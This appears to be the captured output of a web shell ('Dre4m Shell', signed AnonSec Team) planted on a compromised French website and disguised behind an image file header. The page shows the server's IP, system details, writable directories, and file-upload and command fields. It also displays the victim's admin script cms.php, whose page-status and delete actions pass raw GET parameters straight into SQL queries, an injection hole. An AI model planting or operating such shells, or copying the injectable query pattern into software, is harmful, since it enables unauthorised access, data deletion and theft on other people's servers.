ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/cp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/cp-admin/cms.php
<?php
include_once('includes/header.php');
$id_volet ="37";
include('includes/volet.php');
/****************************/

if (isset($_GET['online'])) {

  $id = $_GET['online'];
    
  $bdd->exec("UPDATE " . $GLOBALS['db_table']['fixed_pages'] . " SET status = 1 WHERE id = $id");

  echo '<script>';
  echo 'window.location = "./cms.php"';
  echo '</script>';
}

if (isset($_GET['offline'])) {

  $id = $_GET['offline'];
    
  $bdd->exec("UPDATE " . $GLOBALS['db_table']['fixed_pages'] . " SET status = 0 WHERE id = $id");

  echo '<script>';
  echo 'window.location = "./cms.php"';
  echo '</script>';
}

// Suppression de la page.
if (isset($_GET['del'])) 
{
  $id = $_GET['del'];
    
  $bdd->exec("DELETE FROM " . $GLOBALS['db_table']['fixed_pages'] . " WHERE id = $id");

  echo '<script>';
  echo 'window.location = "./cms.php"';
  echo '</script>';
}
?>

<script type="text/javascript">
  $(document).ready(function() {
    $("#sortlist").Sortable({
      accept: 'dragDrop',
      opacity: 0.6,
      axis : 'vertically',
      onchange : function ( sorted ) {
        serial = $.SortSerialize ('sortlist'); 
        // requète Ajax pour l'enregistrement des positions
        $.ajax ( {
          url : "includes/set_position.php?table=fixed_pages&field=position",
          type : "post",
          data : serial.hash
        });
      }
    });
  });
</script>

<div class="container">
  <div class="row">
    <div class="span12">
      <div class="page-header">
        <h1>Gérer vos Pages
          <div class="pull-right">
            <a href="add_cms.php" class="btn btn-primary" id="form"><i class="icon-plus"></i> Ajouter Page(s)</a>
          </div>
        </h1>
      </div>
    </div>
  </div>
  <table id="sortlist" class="table table-bordered table-striped">
    <thead>
      <tr>
        <th class="span2 center">Titre</th>     
        <th class="span1 center">Opérations</th>                                  
      </tr>
    </thead>
    <tbody>

      <?php
      $requete = $bdd->query("SELECT * FROM " . $GLOBALS['db_table']['fixed_pages'] . " ORDER BY position"); 
      if ($row = $requete->fetch()) {
        do {
          ?>

          <tr class="dragDrop" id="adv_<?php echo $row['id']; ?>" style="cursor: ns-resize;">
            <td class="span1 font12 center">
              <?php
              if($row['id_parent'] == 0) {
                echo '<b>' . stripcslashes($row['title']) . '</b>';
              } else {
                $sql = $bdd->query("SELECT title FROM " . $GLOBALS['db_table']['fixed_pages'] . " WHERE id = " . $row['id_parent']); 
                $parent = $sql->fetch();
                echo stripcslashes($parent['title']) . ' --> ';
                echo '<b>' . stripcslashes($row['title']) . '</b>';
              }
              ?>
            </td>
            <td class="span1 center" style="width: 71px;">
              <?php
              
              if (($row['id'] > 8) AND ($row['id'] <> 7) AND ($row['id'] <> 10)AND ($row['id'] <> 404)){
              
              if($row['status'] == 0)
                echo '<a href="./cms.php?online='.$row['id'].'"><img src="assets/img/offline.png" title="Activer"></a>';
              else
                echo '<a href="./cms.php?offline='.$row['id'].'"><img src="assets/img/online.png" title="Désactiver"></a>';
              
              }
              ?>
              &nbsp;

              <a href="./edit_cms.php?id=<?php echo $row['id']; ?>">
                <img src="assets/img/edit.png" title="Editer la page" />
              </a>
              &nbsp;

              <a href="../page-<?php echo $row['seo']; ?>">
                <img src="assets/img/view.png" title="Prévisualiser la page" />
              </a>
              &nbsp;

<?php
              if (($row['id'] > 8) AND ($row['id'] != 9)  AND ($row['id'] != 404)  AND ($row['id'] != 10) AND ($row['id'] != 11) AND ($row['id'] != 12) AND ($row['id'] != 13) AND ($row['id'] != 14) AND ($row['id'] != 15) AND ($row['id'] != 16) AND ($row['id'] != 17) AND ($row['id'] != 18)) { ?>

              <a href="./cms.php?del=<?php echo $row['id']; ?>" id="<?php echo $row['id']; ?>" onclick="return confirm('Êtes vous sur de vouloir supprimer cet élément ?')">
                <img src="assets/img/delete.png" title="Supprimer la page">
              </a>
              &nbsp;
<?php }  ?>             
            </td>
          </tr>

          <?php
        }while ($row = $requete->fetch());
      } else {
        echo 'Aucune page à afficher !!!';
      }
      ?>

    </tbody>
  </table>
</div>

<?
include_once('includes/footer.php');
?>

Anon7 - 2022
AnonSec Team